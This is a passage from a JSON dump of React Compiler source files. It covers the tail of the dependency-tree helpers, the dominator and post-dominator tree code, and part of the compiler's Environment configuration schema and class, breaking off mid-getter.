represented as bitwise OR, but is written out for readability\n   *\n   * Observe that `UnconditionalAccess | ConditionalDependency` produces an\n   * unconditionally accessed conditional dependency. We currently use these\n   * as we use unconditional dependencies. (i.e. to codegen change variables)\n   */\n  if (resultIsUnconditional) {\n    if (resultIsDependency) {\n      return PropertyAccessType.UnconditionalDependency;\n    } else {\n      return PropertyAccessType.UnconditionalAccess;\n    }\n  } else {\n    // result is optional\n    if (resultIsDependency) {\n      return PropertyAccessType.OptionalDependency;\n    } else {\n      return PropertyAccessType.OptionalAccess;\n    }\n  }\n}\n\ntype TreeNode<T extends string> = {\n  properties: Map<PropertyLiteral, TreeNode<T>>;\n  accessType: T;\n  loc: SourceLocation;\n};\ntype HoistableNode = TreeNode<'Optional' | 'NonNull'>;\ntype DependencyNode = TreeNode<PropertyAccessType>;\n\n/**\n * Recursively calculates minimal dependencies in a subtree.\n * @param node DependencyNode representing a dependency subtree.\n * @returns a minimal list of dependencies in this subtree.\n */\nfunction collectMinimalDependenciesInSubtree(\n  node: DependencyNode,\n  reactive: boolean,\n  rootIdentifier: Identifier,\n  path: Array<DependencyPathEntry>,\n  results: Set<ReactiveScopeDependency>,\n): void {\n  if (isDependency(node.accessType)) {\n    results.add({identifier: rootIdentifier, reactive, path, loc: node.loc});\n  } else {\n    for (const [childName, childNode] of node.properties) {\n      collectMinimalDependenciesInSubtree(\n        childNode,\n        reactive,\n        rootIdentifier,\n        [\n          ...path,\n          {\n            property: childName,\n            optional: isOptional(childNode.accessType),\n            loc: childNode.loc,\n          },\n        ],\n        results,\n      );\n    }\n  }\n}\n\nfunction printSubtree(\n  node: DependencyNode,\n  includeAccesses: boolean,\n): Array<string> {\n  const results: Array<string> = [];\n  for (const [propertyName, propertyNode] of node.properties) {\n    if (includeAccesses || isDependency(propertyNode.accessType)) {\n      results.push(`${propertyName} (${propertyNode.accessType})`);\n    }\n    const propertyResults = printSubtree(propertyNode, includeAccesses);\n    results.push(...propertyResults.map(result => `${propertyName}.${result}`));\n  }\n  return results;\n}\n\nfunction makeOrMergeProperty(\n  node: DependencyNode,\n  property: PropertyLiteral,\n  accessType: PropertyAccessType,\n  loc: SourceLocation,\n): DependencyNode {\n  let child = node.properties.get(property);\n  if (child == null) {\n    child = {\n      properties: new Map(),\n      accessType,\n      loc,\n    };\n    node.properties.set(property, child);\n  } else {\n    child.accessType = merge(child.accessType, accessType);\n  }\n  return child;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/Dominator.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport prettyFormat from 'pretty-format';\nimport {CompilerError} from '../CompilerError';\nimport {BlockId, GeneratedSource, HIRFunction} from './HIR';\nimport {eachTerminalSuccessor} from './visitors';\n\n/*\n * Computes the dominator tree of the given function. The returned `Dominator` stores the immediate\n * dominator of each node in the function, which can be retrieved with `Dominator.prototype.get()`.\n *\n * A block X dominates block Y in the CFG if all paths to Y must flow through X. Thus the entry\n * block dominates all other blocks. See https://en.wikipedia.org/wiki/Dominator_(graph_theory)\n * for more.\n */\nexport function computeDominatorTree(fn: HIRFunction): Dominator<BlockId> {\n  const graph = buildGraph(fn);\n  const nodes = computeImmediateDominators(graph);\n  return new Dominator(graph.entry, nodes);\n}\n\n/*\n * Similar to `computeDominatorTree()` but computes the post dominators of the function. The returned\n * `PostDominator` stores the immediate post-dominators of each node in the function.\n *\n * A block Y post-dominates block X in the CFG if all paths from X to the exit must flow through Y.\n * The caller must specify whether to consider `throw` statements as exit nodes. If set to false,\n * only return statements are considered exit nodes.\n */\nexport function computePostDominatorTree(\n  fn: HIRFunction,\n  options: {includeThrowsAsExitNode: boolean},\n): PostDominator<BlockId> {\n  const graph = buildReverseGraph(fn, options.includeThrowsAsExitNode);\n  const nodes = computeImmediateDominators(graph);\n\n  /*\n   * When options.includeThrowsAsExitNode is false, nodes that flow into a throws\n   * terminal and don't reach the exit node won't be in the node map. Add them\n   * with themselves as dominator to reflect that they don't flow into the exit.\n   */\n  if (!options.includeThrowsAsExitNode) {\n    for (const [id] of fn.body.blocks) {\n      if (!nodes.has(id)) {\n        nodes.set(id, id);\n      }\n    }\n  }\n  return new PostDominator(graph.entry, nodes);\n}\n\ntype Node<T> = {\n  id: T;\n  index: number;\n  preds: Set<T>;\n  succs: Set<T>;\n};\ntype Graph<T> = {\n  entry: T;\n  nodes: Map<T, Node<T>>;\n};\n\n// A dominator tree that stores the immediate dominator for each block in function.\nexport class Dominator<T> {\n  #entry: T;\n  #nodes: Map<T, T>;\n\n  constructor(entry: T, nodes: Map<T, T>) {\n    this.#entry = entry;\n    this.#nodes = nodes;\n  }\n\n  // Returns the entry node\n  get entry(): T {\n    return this.#entry;\n  }\n\n  /*\n   * Returns the immediate dominator of the block with @param id if present. Returns null\n   * if there is no immediate dominator (ie if the dominator is @param id itself).\n   */\n  get(id: T): T | null {\n    const dominator = this.#nodes.get(id);\n    CompilerError.invariant(dominator !== undefined, {\n      reason: 'Unknown node',\n      loc: GeneratedSource,\n    });\n    return dominator === id ? null : dominator;\n  }\n\n  debug(): string {\n    const dominators = new Map();\n    for (const [key, value] of this.#nodes) {\n      dominators.set(`bb${key}`, `bb${value}`);\n    }\n    return prettyFormat({\n      entry: `bb${this.#entry}`,\n      dominators,\n    });\n  }\n}\n\nexport class PostDominator<T> {\n  #exit: T;\n  #nodes: Map<T, T>;\n\n  constructor(exit: T, nodes: Map<T, T>) {\n    this.#exit = exit;\n    this.#nodes = nodes;\n  }\n\n  // Returns the node representing normal exit from the function, ie return terminals.\n  get exit(): T {\n    return this.#exit;\n  }\n\n  /*\n   * Returns the immediate dominator of the block with @param id if present. Returns null\n   * if there is no immediate dominator (ie if the dominator is @param id itself).\n   */\n  get(id: T): T | null {\n    const dominator = this.#nodes.get(id);\n    CompilerError.invariant(dominator !== undefined, {\n      reason: 'Unknown node',\n      loc: GeneratedSource,\n    });\n    return dominator === id ? null : dominator;\n  }\n\n  debug(): string {\n    const postDominators = new Map();\n    for (const [key, value] of this.#nodes) {\n      postDominators.set(`bb${key}`, `bb${value}`);\n    }\n    return prettyFormat({\n      exit: `bb${this.exit}`,\n      postDominators,\n    });\n  }\n}\n\n/*\n * The implementation is a straightforward adaptation of https://www.cs.rice.edu/~keith/Embed/dom.pdf\n * except that CFG nodes ordering is inverted (so the comparison functions are swapped)\n */\nfunction computeImmediateDominators<T>(graph: Graph<T>): Map<T, T> {\n  const nodes: Map<T, T> = new Map();\n  nodes.set(graph.entry, graph.entry);\n  let changed = true;\n  while (changed) {\n    changed = false;\n    for (const [id, node] of graph.nodes) {\n      // Skip start node\n      if (node.id === graph.entry) {\n        continue;\n      }\n\n      // first processed predecessor\n      let newIdom: T | null = null;\n      for (const pred of node.preds) {\n        if (nodes.has(pred)) {\n          newIdom = pred;\n          break;\n        }\n      }\n      CompilerError.invariant(newIdom !== null, {\n        reason: `At least one predecessor must have been visited for block ${id}`,\n        loc: GeneratedSource,\n      });\n\n      for (const pred of node.preds) {\n        // For all other predecessors\n        if (pred === newIdom) {\n          continue;\n        }\n        const predDom = nodes.get(pred);\n        if (predDom !== undefined) {\n          newIdom = intersect(pred, newIdom, graph, nodes);\n        }\n      }\n\n      if (nodes.get(id) !== newIdom) {\n        nodes.set(id, newIdom);\n        changed = true;\n      }\n    }\n  }\n  return nodes;\n}\n\nfunction intersect<T>(a: T, b: T, graph: Graph<T>, nodes: Map<T, T>): T {\n  let block1: Node<T> = graph.nodes.get(a)!;\n  let block2: Node<T> = graph.nodes.get(b)!;\n  while (block1 !== block2) {\n    while (block1.index > block2.index) {\n      const dom = nodes.get(block1.id)!;\n      block1 = graph.nodes.get(dom)!;\n    }\n    while (block2.index > block1.index) {\n      const dom = nodes.get(block2.id)!;\n      block2 = graph.nodes.get(dom)!;\n    }\n  }\n  return block1.id;\n}\n\n// Turns the HIRFunction into a simplified internal form that is shared for dominator/post-dominator computation\nfunction buildGraph(fn: HIRFunction): Graph<BlockId> {\n  const graph: Graph<BlockId> = {entry: fn.body.entry, nodes: new Map()};\n  let index = 0;\n  for (const [id, block] of fn.body.blocks) {\n    graph.nodes.set(id, {\n      id,\n      index: index++,\n      preds: block.preds,\n      succs: new Set(eachTerminalSuccessor(block.terminal)),\n    });\n  }\n  return graph;\n}\n\n/*\n *  Turns the HIRFunction into a simplified internal form that is shared for dominator/post-dominator computation,\n * notably this version flips the graph and puts the reversed form back into RPO (such that successors are before predecessors).\n * Note that RPO of the reversed graph isn't the same as reversed RPO of the forward graph because of loops.\n */\nfunction buildReverseGraph(\n  fn: HIRFunction,\n  includeThrowsAsExitNode: boolean,\n): Graph<BlockId> {\n  const nodes: Map<BlockId, Node<BlockId>> = new Map();\n  const exitId = fn.env.nextBlockId;\n  const exit: Node<BlockId> = {\n    id: exitId,\n    index: 0,\n    preds: new Set(),\n    succs: new Set(),\n  };\n  nodes.set(exitId, exit);\n\n  for (const [id, block] of fn.body.blocks) {\n    const node: Node<BlockId> = {\n      id,\n      index: 0,\n      preds: new Set(eachTerminalSuccessor(block.terminal)),\n      succs: new Set(block.preds),\n    };\n    if (block.terminal.kind === 'return') {\n      node.preds.add(exitId);\n      exit.succs.add(id);\n    } else if (block.terminal.kind === 'throw' && includeThrowsAsExitNode) {\n      node.preds.add(exitId);\n      exit.succs.add(id);\n    }\n    nodes.set(id, node);\n  }\n\n  // Put nodes into RPO form\n  const visited = new Set<BlockId>();\n  const postorder: Array<BlockId> = [];\n  function visit(id: BlockId): void {\n    if (visited.has(id)) {\n      return;\n    }\n    visited.add(id);\n    const node = nodes.get(id)!;\n    for (const successor of node.succs) {\n      visit(successor);\n    }\n    postorder.push(id);\n  }\n  visit(exitId);\n\n  const rpo: Graph<BlockId> = {entry: exitId, nodes: new Map()};\n  let index = 0;\n  for (const id of postorder.reverse()) {\n    const node = nodes.get(id)!;\n    node.index = index++;\n    rpo.nodes.set(id, node);\n  }\n  return rpo;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/Environment.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as t from '@babel/types';\nimport {ZodError, z} from 'zod/v4';\nimport {fromZodError} from 'zod-validation-error/v4';\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  CompilerErrorDetail,\n  ErrorCategory,\n} from '../CompilerError';\nimport {CompilerOutputMode, Logger, ProgramContext} from '../Entrypoint';\nimport {Err, Ok, Result} from '../Utils/Result';\nimport {\n  DEFAULT_GLOBALS,\n  DEFAULT_SHAPES,\n  Global,\n  GlobalRegistry,\n  getReanimatedModuleType,\n  installTypeConfig,\n} from './Globals';\nimport {\n  BlockId,\n  BuiltInType,\n  Effect,\n  FunctionType,\n  GeneratedSource,\n  HIRFunction,\n  IdentifierId,\n  NonLocalBinding,\n  PolyType,\n  ScopeId,\n  SourceLocation,\n  Type,\n  ValidatedIdentifier,\n  ValueKind,\n  getHookKindForType,\n  makeBlockId,\n  makeIdentifierId,\n  makeIdentifierName,\n  makeScopeId,\n} from './HIR';\nimport {\n  BuiltInMixedReadonlyId,\n  DefaultMutatingHook,\n  DefaultNonmutatingHook,\n  FunctionSignature,\n  ShapeRegistry,\n  addHook,\n} from './ObjectShape';\nimport {Scope as BabelScope, NodePath} from '@babel/traverse';\nimport {TypeSchema} from './TypeSchema';\nimport {FlowTypeEnv} from '../Flood/Types';\nimport {defaultModuleTypeProvider} from './DefaultModuleTypeProvider';\nimport {assertExhaustive} from '../Utils/utils';\n\nexport const ExternalFunctionSchema = z.object({\n  // Source for the imported module that exports the `importSpecifierName` functions\n  source: z.string(),\n\n  // Unique name for the feature flag test condition, eg `isForgetEnabled_ProjectName`\n  importSpecifierName: z.string(),\n});\n\nexport const InstrumentationSchema = z\n  .object({\n    fn: ExternalFunctionSchema,\n    gating: ExternalFunctionSchema.nullable(),\n    globalGating: z.string().nullable(),\n  })\n  .refine(\n    opts => opts.gating != null || opts.globalGating != null,\n    'Expected at least one of gating or globalGating',\n  );\n\nexport type ExternalFunction = z.infer<typeof ExternalFunctionSchema>;\n\nexport const MacroSchema = z.string();\n\nexport type CompilerMode = 'all_features' | 'no_inferred_memo';\n\nexport type Macro = z.infer<typeof MacroSchema>;\n\nconst HookSchema = z.object({\n  /*\n   * The effect of arguments to this hook. Describes whether the hook may or may\n   * not mutate arguments, etc.\n   */\n  effectKind: z.nativeEnum(Effect),\n\n  /*\n   * The kind of value returned by the hook. Allows indicating that a hook returns\n   * a primitive or already-frozen value, which can allow more precise memoization\n   * of callers.\n   */\n  valueKind: z.nativeEnum(ValueKind),\n\n  /*\n   * Specifies whether hook arguments may be aliased by other arguments or by the\n   * return value of the function. Defaults to false. When enabled, this allows the\n   * compiler to avoid memoizing arguments.\n   */\n  noAlias: z.boolean().default(false),\n\n  /*\n   * Specifies whether the hook returns data that is composed of:\n   * - undefined\n   * - null\n   * - boolean\n   * - number\n   * - string\n   * - arrays whose items are also transitiveMixed\n   * - objects whose values are also transitiveMixed\n   *\n   * Many state management and data-fetching APIs return data that meets\n   * this criteria since this is JSON + undefined. Forget can compile\n   * hooks that return transitively mixed data more optimally because it\n   * can make inferences about some method calls (especially array methods\n   * like `data.items.map(...)` since these builtin types have few built-in\n   * methods.\n   */\n  transitiveMixedData: z.boolean().default(false),\n});\n\nexport type Hook = z.infer<typeof HookSchema>;\n\n/*\n * TODO(mofeiZ): User defined global types (with corresponding shapes).\n * User defined global types should have inline ObjectShapes instead of directly\n * using ObjectShapes.ShapeRegistry, as a user-provided ShapeRegistry may be\n * accidentally be not well formed.\n * i.e.\n *   missing required shapes (BuiltInArray for [] and BuiltInObject for {})\n *   missing some recursive Object / Function shapeIds\n */\n\nexport const EnvironmentConfigSchema = z.object({\n  customHooks: z.map(z.string(), HookSchema).default(new Map()),\n\n  /**\n   * A function that, given the name of a module, can optionally return a description\n   * of that module's type signature.\n   */\n  moduleTypeProvider: z.nullable(z.any()).default(null),\n\n  /**\n   * A list of functions which the application compiles as macros, where\n   * the compiler must ensure they are not compiled to rename the macro or separate the\n   * \"function\" from its argument.\n   *\n   * For example, Meta has some APIs such as `featureflag(\"name-of-feature-flag\")` which\n   * are rewritten by a plugin. Assigning `featureflag` to a temporary would break the\n   * plugin since it looks specifically for the name of the function being invoked, not\n   * following aliases.\n   */\n  customMacros: z.nullable(z.array(MacroSchema)).default(null),\n\n  /**\n   * Enable a check that resets the memoization cache when the source code of\n   * the file changes. This is intended to support hot module reloading (HMR),\n   * where the same runtime component instance will be reused across different\n   * versions of the component source.\n   *\n   * When set to\n   * - true:  code for HMR support is always generated, regardless of NODE_ENV\n   *          or `globalThis.__DEV__`\n   * - false: code for HMR support is not generated\n   * - null:  (default) code for HMR support is conditionally generated dependent\n   *          on `NODE_ENV` and `globalThis.__DEV__` at the time of compilation.\n   */\n  enableResetCacheOnSourceFileChanges: z.nullable(z.boolean()).default(null),\n\n  /**\n   * Enable using information from existing useMemo/useCallback to understand when a value is done\n   * being mutated. With this mode enabled, Forget will still discard the actual useMemo/useCallback\n   * calls and may memoize slightly differently. However, it will assume that the values produced\n   * are not subsequently modified, guaranteeing that the value will be memoized.\n   *\n   * By preserving guarantees about when values are memoized, this option preserves any existing\n   * behavior that depends on referential equality in the original program. Notably, this preserves\n   * existing effect behavior (how often effects fire) for effects that rely on referential equality.\n   *\n   * When disabled, Forget will not only prune useMemo and useCallback calls but also completely ignore\n   * them, not using any information from them to guide compilation. Therefore, disabling this flag\n   * will produce output that mimics the result from removing all memoization.\n   *\n   * Our recommendation is to first try running your application with this flag enabled, then attempt\n   * to disable this flag and see what changes or breaks. This will mostly likely be effects that\n   * depend on referential equality, which can be refactored (TODO guide for this).\n   *\n   * NOTE: this mode treats freeze as a transitive operation for function expressions. This means\n   * that if a useEffect or useCallback references a function value, that function value will be\n   * considered frozen, and in turn all of its referenced variables will be considered frozen as well.\n   */\n  enablePreserveExistingMemoizationGuarantees: z.boolean().default(true),\n\n  /**\n   * Validates that all useMemo/useCallback values are also memoized by Forget. This mode can be\n   * used with or without @enablePreserveExistingMemoizationGuarantees.\n   *\n   * With enablePreserveExistingMemoizationGuarantees, this validation enables automatically and\n   * verifies that Forget was able to preserve manual memoization semantics under that mode's\n   * additional assumptions about the input.\n   *\n   * With enablePreserveExistingMemoizationGuarantees off, this validation ignores manual memoization\n   * when determining program behavior, and only uses information from useMemo/useCallback to check\n   * that the memoization was preserved. This can be useful for determining where referential equalities\n   * may change under Forget.\n   */\n  validatePreserveExistingMemoizationGuarantees: z.boolean().default(true),\n\n  /**\n   * Validate that dependencies supplied to manual memoization calls are exhaustive.\n   */\n  validateExhaustiveMemoizationDependencies: z.boolean().default(true),\n\n  /**\n   * Validate that dependencies supplied to effect hooks are exhaustive.\n   * Can be:\n   * - 'off': No validation (default)\n   * - 'all': Validate and report both missing and extra dependencies\n   * - 'missing-only': Only report missing dependencies\n   * - 'extra-only': Only report extra/unnecessary dependencies\n   */\n  validateExhaustiveEffectDependencies: z\n    .enum(['off', 'all', 'missing-only', 'extra-only'])\n    .default('off'),\n\n  // 🌲\n  enableForest: z.boolean().default(false),\n\n  /**\n   * Allows specifying a function that can populate HIR with type information from\n   * Flow\n   */\n  flowTypeProvider: z.nullable(z.any()).default(null),\n\n  /**\n   * Enables inference of optional dependency chains. Without this flag\n   * a property chain such as `props?.items?.foo` will infer as a dep on\n   * just `props`. With this flag enabled, we'll infer that full path as\n   * the dependency.\n   */\n  enableOptionalDependencies: z.boolean().default(true),\n\n  enableNameAnonymousFunctions: z.boolean().default(false),\n\n  /*\n   * Enable validation of hooks to partially check that the component honors the rules of hooks.\n   * When disabled, the component is assumed to follow the rules (though the Babel plugin looks\n   * for suppressions of the lint rule).\n   */\n  validateHooksUsage: z.boolean().default(true),\n\n  // Validate that ref values (`ref.current`) are not accessed during render.\n  validateRefAccessDuringRender: z.boolean().default(true),\n\n  /*\n   * Validates that setState is not unconditionally called during render, as it can lead to\n   * infinite loops.\n   */\n  validateNoSetStateInRender: z.boolean().default(true),\n\n  /**\n   * When enabled, changes the behavior of validateNoSetStateInRender to recommend\n   * using useKeyedState instead of the manual pattern for resetting state.\n   */\n  enableUseKeyedState: z.boolean().default(false),\n\n  /**\n   * Validates that setState is not called synchronously within an effect (useEffect and friends).\n   * Scheduling a setState (with an event listener, subscription, etc) is valid.\n   */\n  validateNoSetStateInEffects: z.boolean().default(false),\n\n  /**\n   * Validates that effects are not used to calculate derived data which could instead be computed\n   * during render.\n   */\n  validateNoDerivedComputationsInEffects: z.boolean().default(false),\n\n  /**\n   * Experimental: Validates that effects are not used to calculate derived data which could instead be computed\n   * during render. Generates a custom error message for each type of violation.\n   */\n  validateNoDerivedComputationsInEffects_exp: z.boolean().default(false),\n\n  /**\n   * Validates against creating JSX within a try block and recommends using an error boundary\n   * instead.\n   */\n  validateNoJSXInTryStatements: z.boolean().default(false),\n\n  /**\n   * Validates against dynamically creating components during render.\n   */\n  validateStaticComponents: z.boolean().default(false),\n\n  /**\n   * Validates that there are no capitalized calls other than those allowed by the allowlist.\n   * Calls to capitalized functions are often functions that used to be components and may\n   * have lingering hook calls, which makes those calls risky to memoize.\n   *\n   * You can specify a list of capitalized calls to allowlist using this option. React Compiler\n   * always includes its known global functions, including common functions like Boolean and String,\n   * in this allowlist. You can enable this validation with no additional allowlisted calls by setting\n   * this option to the empty array.\n   */\n  validateNoCapitalizedCalls: z.nullable(z.array(z.string())).default(null),\n  validateBlocklistedImports: z.nullable(z.array(z.string())).default(null),\n\n  /**\n   * Validates that AST nodes generated during codegen have proper source locations.\n   * This is useful for debugging issues with source maps and Istanbul coverage.\n   * When enabled, the compiler will error if important source locations are missing in the generated AST.\n   */\n  validateSourceLocations: z.boolean().default(false),\n\n  /**\n   * Validate against impure functions called during render\n   */\n  validateNoImpureFunctionsInRender: z.boolean().default(false),\n\n  /**\n   * Validate against passing mutable functions to hooks\n   */\n  validateNoFreezingKnownMutableFunctions: z.boolean().default(false),\n\n  /*\n   * When enabled, the compiler assumes that hooks follow the Rules of React:\n   * - Hooks may memoize computation based on any of their parameters, thus\n   *   any arguments to a hook are assumed frozen after calling the hook.\n   * - Hooks may memoize the result they return, thus the return value is\n   *   assumed frozen.\n   */\n  enableAssumeHooksFollowRulesOfReact: z.boolean().default(true),\n\n  /**\n   * When enabled, the compiler assumes that any values are not subsequently\n   * modified after they are captured by a function passed to React. For example,\n   * if a value `x` is referenced inside a function expression passed to `useEffect`,\n   * then this flag will assume that `x` is not subusequently modified.\n   */\n  enableTransitivelyFreezeFunctionExpressions: z.boolean().default(true),\n  enableEmitHookGuards: ExternalFunctionSchema.nullable().default(null),\n\n  /**\n   * Enables function outlinining, where anonymous functions that do not close over\n   * local variables can be extracted into top-level helper functions.\n   */\n  enableFunctionOutlining: z.boolean().default(true),\n\n  /**\n   * If enabled, this will outline nested JSX into a separate component.\n   *\n   * This will enable the compiler to memoize the separate component, giving us\n   * the same behavior as compiling _within_ the callback.\n   *\n   * ```\n   * function Component(countries, onDelete) {\n   *   const name = useFoo();\n   *   return countries.map(() => {\n   *     return (\n   *       <Foo>\n   *         <Bar>{name}</Bar>\n   *         <Button onclick={onDelete}>delete</Button>\n   *       </Foo>\n   *     );\n   *   });\n   * }\n   * ```\n   *\n   * will be transpiled to:\n   *\n   * ```\n   * function Component(countries, onDelete) {\n   *   const name = useFoo();\n   *   return countries.map(() => {\n   *     return (\n   *       <Temp name={name} onDelete={onDelete} />\n   *     );\n   *   });\n   * }\n   *\n   * function Temp({name, onDelete}) {\n   *   return (\n   *     <Foo>\n   *       <Bar>{name}</Bar>\n   *       <Button onclick={onDelete}>delete</Button>\n   *     </Foo>\n   *   );\n   * }\n   *\n   * Both, `Component` and `Temp` will then be memoized by the compiler.\n   *\n   * With this change, when `countries` is updated by adding one single value,\n   * only the newly added value is re-rendered and not the entire list.\n   */\n  enableJsxOutlining: z.boolean().default(false),\n\n  /*\n   * Enables instrumentation codegen. This emits a dev-mode only call to an\n   * instrumentation function, for components and hooks that Forget compiles.\n   * For example:\n   *   instrumentForget: {\n   *     import: {\n   *       source: 'react-compiler-runtime',\n   *       importSpecifierName: 'useRenderCounter',\n   *      }\n   *   }\n   *\n   * produces:\n   *   import {useRenderCounter} from 'react-compiler-runtime';\n   *\n   *   function Component(props) {\n   *     if (__DEV__) {\n   *        useRenderCounter(\"Component\", \"/filepath/filename.js\");\n   *     }\n   *     // ...\n   *   }\n   *\n   */\n  enableEmitInstrumentForget: InstrumentationSchema.nullable().default(null),\n\n  // Enable validation of mutable ranges\n  assertValidMutableRanges: z.boolean().default(false),\n\n  /**\n   * [TESTING ONLY] Throw an unknown exception during compilation to\n   * simulate unexpected exceptions e.g. errors from babel functions.\n   */\n  throwUnknownException__testonly: z.boolean().default(false),\n\n  /**\n   * The react native re-animated library uses custom Babel transforms that\n   * requires the calls to library API remain unmodified.\n   *\n   * If this flag is turned on, the React compiler will use custom type\n   * definitions for reanimated library to make it's Babel plugin work\n   * with the compiler.\n   */\n  enableCustomTypeDefinitionForReanimated: z.boolean().default(false),\n\n  /**\n   * If enabled, this will treat objects named as `ref` or if their names end with the substring `Ref`,\n   * and contain a property named `current`, as React refs.\n   *\n   * ```\n   * const ref = useMyRef();\n   * const myRef = useMyRef2();\n   * useEffect(() => {\n   *   ref.current = ...;\n   *   myRef.current = ...;\n   * })\n   * ```\n   *\n   * Here the variables `ref` and `myRef` will be typed as Refs.\n   */\n  enableTreatRefLikeIdentifiersAsRefs: z.boolean().default(true),\n\n  /**\n   * Treat identifiers as SetState type if both\n   * - they are named with a \"set-\" prefix\n   * - they are called somewhere\n   */\n  enableTreatSetIdentifiersAsStateSetters: z.boolean().default(false),\n\n  /**\n   * If enabled, will validate useMemos that don't return any values:\n   *\n   * Valid:\n   *   useMemo(() => foo, [foo]);\n   *   useMemo(() => { return foo }, [foo]);\n   * Invalid:\n   *   useMemo(() => { ... }, [...]);\n   */\n  validateNoVoidUseMemo: z.boolean().default(true),\n\n  /**\n   * When enabled, allows setState calls in effects based on valid patterns involving refs:\n   * - Allow setState where the value being set is derived from a ref. This is useful where\n   *   state needs to take into account layer information, and a layout effect reads layout\n   *   data from a ref and sets state.\n   * - Allow conditionally calling setState after manually comparing previous/new values\n   *   for changes via a ref. Relying on effect deps is insufficient for non-primitive values,\n   *   so a ref is generally required to manually track previous values and compare prev/next\n   *   for meaningful changes before setting state.\n   */\n  enableAllowSetStateFromRefsInEffects: z.boolean().default(true),\n\n  /**\n   * When enabled, provides verbose error messages for setState calls within effects,\n   * presenting multiple possible fixes to the user/agent since we cannot statically\n   * determine which specific use-case applies:\n   * 1. Non-local derived data - requires restructuring state ownership\n   * 2. Derived event pattern - detecting when a prop changes\n   * 3. Force update / external sync - should use useSyncExternalStore\n   */\n  enableVerboseNoSetStateInEffect: z.boolean().default(false),\n});\n\nexport type EnvironmentConfig = z.infer<typeof EnvironmentConfigSchema>;\n\nexport type PartialEnvironmentConfig = Partial<EnvironmentConfig>;\n\nexport type ReactFunctionType = 'Component' | 'Hook' | 'Other';\n\nexport function printFunctionType(type: ReactFunctionType): string {\n  switch (type) {\n    case 'Component': {\n      return 'component';\n    }\n    case 'Hook': {\n      return 'hook';\n    }\n    default: {\n      return 'function';\n    }\n  }\n}\n\nexport class Environment {\n  #globals: GlobalRegistry;\n  #shapes: ShapeRegistry;\n  #moduleTypes: Map<string, Global | null> = new Map();\n  #nextIdentifer: number = 0;\n  #nextBlock: number = 0;\n  #nextScope: number = 0;\n  #scope: BabelScope;\n  #outlinedFunctions: Array<{\n    fn: HIRFunction;\n    type: ReactFunctionType | null;\n  }> = [];\n  logger: Logger | null;\n  filename: string | null;\n  code: string | null;\n  config: EnvironmentConfig;\n  fnType: ReactFunctionType;\n  outputMode: CompilerOutputMode;\n  programContext: ProgramContext;\n\n  #contextIdentifiers: Set<t.Identifier>;\n  #hoistedIdentifiers: Set<t.Identifier>;\n  parentFunction: NodePath<t.Function>;\n\n  #flowTypeEnvironment: FlowTypeEnv | null;\n\n  /**\n   * Accumulated compilation errors. Passes record errors here instead of\n   * throwing, so the pipeline can continue and report all errors at once.\n   */\n  #errors: CompilerError = new CompilerError();\n\n  constructor(\n    scope: BabelScope,\n    fnType: ReactFunctionType,\n    outputMode: CompilerOutputMode,\n    config: EnvironmentConfig,\n    contextIdentifiers: Set<t.Identifier>,\n    parentFunction: NodePath<t.Function>, // the outermost function being compiled\n    logger: Logger | null,\n    filename: string | null,\n    code: string | null,\n    programContext: ProgramContext,\n  ) {\n    this.#scope = scope;\n    this.fnType = fnType;\n    this.outputMode = outputMode;\n    this.config = config;\n    this.filename = filename;\n    this.code = code;\n    this.logger = logger;\n    this.programContext = programContext;\n    this.#shapes = new Map(DEFAULT_SHAPES);\n    this.#globals = new Map(DEFAULT_GLOBALS);\n\n    for (const [hookName, hook] of this.config.customHooks) {\n      CompilerError.invariant(!this.#globals.has(hookName), {\n        reason: `[Globals] Found existing definition in global registry for custom hook ${hookName}`,\n        loc: GeneratedSource,\n      });\n      this.#globals.set(\n        hookName,\n        addHook(this.#shapes, {\n          positionalParams: [],\n          restParam: hook.effectKind,\n          returnType: hook.transitiveMixedData\n            ? {kind: 'Object', shapeId: BuiltInMixedReadonlyId}\n            : {kind: 'Poly'},\n          returnValueKind: hook.valueKind,\n          calleeEffect: Effect.Read,\n          hookKind: 'Custom',\n          noAlias: hook.noAlias,\n        }),\n      );\n    }\n\n    if (config.enableCustomTypeDefinitionForReanimated) {\n      const reanimatedModuleType = getReanimatedModuleType(this.#shapes);\n      this.#moduleTypes.set(REANIMATED_MODULE_NAME, reanimatedModuleType);\n    }\n\n    this.parentFunction = parentFunction;\n    this.#contextIdentifiers = contextIdentifiers;\n    this.#hoistedIdentifiers = new Set();\n\n    if (config.flowTypeProvider != null) {\n      this.#flowTypeEnvironment = new FlowTypeEnv();\n      CompilerError.invariant(code != null, {\n        reason:\n          'Expected Environment to be initialized with source code when a Flow type provider is specified',\n        loc: GeneratedSource,\n      });\n      this.#flowTypeEnvironment.init(this, code);\n    } else {\n      this.#flowTypeEnvironment = null;\n    }\n  }\n\n  get typeContext(): FlowTypeEnv {\n    CompilerError.invariant(this.#flowTypeEnvironment != null, {\n      reason: 'Flow type environment not initialized',\n      loc: GeneratedSource,\n    });\n    return this.#flowTypeEnvironment;\n  }\n\n  get enableDropManualMemoization(): boolean {\n    switch (this.outputMode) {\n      case 'lint': {\n        // linting drops to be more compatible with compiler analysis\n        return true;\n      }\n      case 'client':\n      case 'ssr': {\n        return true;\n      }\n      default: {\n        assertExhaustive(\n          this.outputMode,\n          `Unexpected output mode '${this.outputMode}'`,\n        );\n      }\n    }\n  }\n\n  get enableMemoization(): boolean {\n    switch (this.outputMode) {\n      case 'client':\n      case 'lint': {\n        // linting also enables memoization so that we can check if manual memoization is preserved\n        return true;\n      }\n      case 'ssr': {\n        return false;\n      }\n      default: {\n        assertExhaustive(\n          this.outputMode,\n          `Unexpected output mode '${this.outputMode}'`,\n        );\n      }\n    }\n  }\n\n  get enableValidations(): boolean {\n    switch (this.outputMode) {\n      case 'client':\n      case 'lint':\n      case 'ssr': {\n        return true;\n      }\n      default: {\n        assertExhaustive(\n          this.outputMode,\n          `Unexpected output mode '${this.outputMode}'`,\n        );\n      }\n    }\n  }\n\n  get nextIdentifierId(): IdentifierId {\n    return makeIdentifierId(this.#nextIdentifer++);\n  }\n\n  get nextBlockId(): BlockId {\n    return makeBlockId(this.#nextBlock++);\n  }\n\n  get 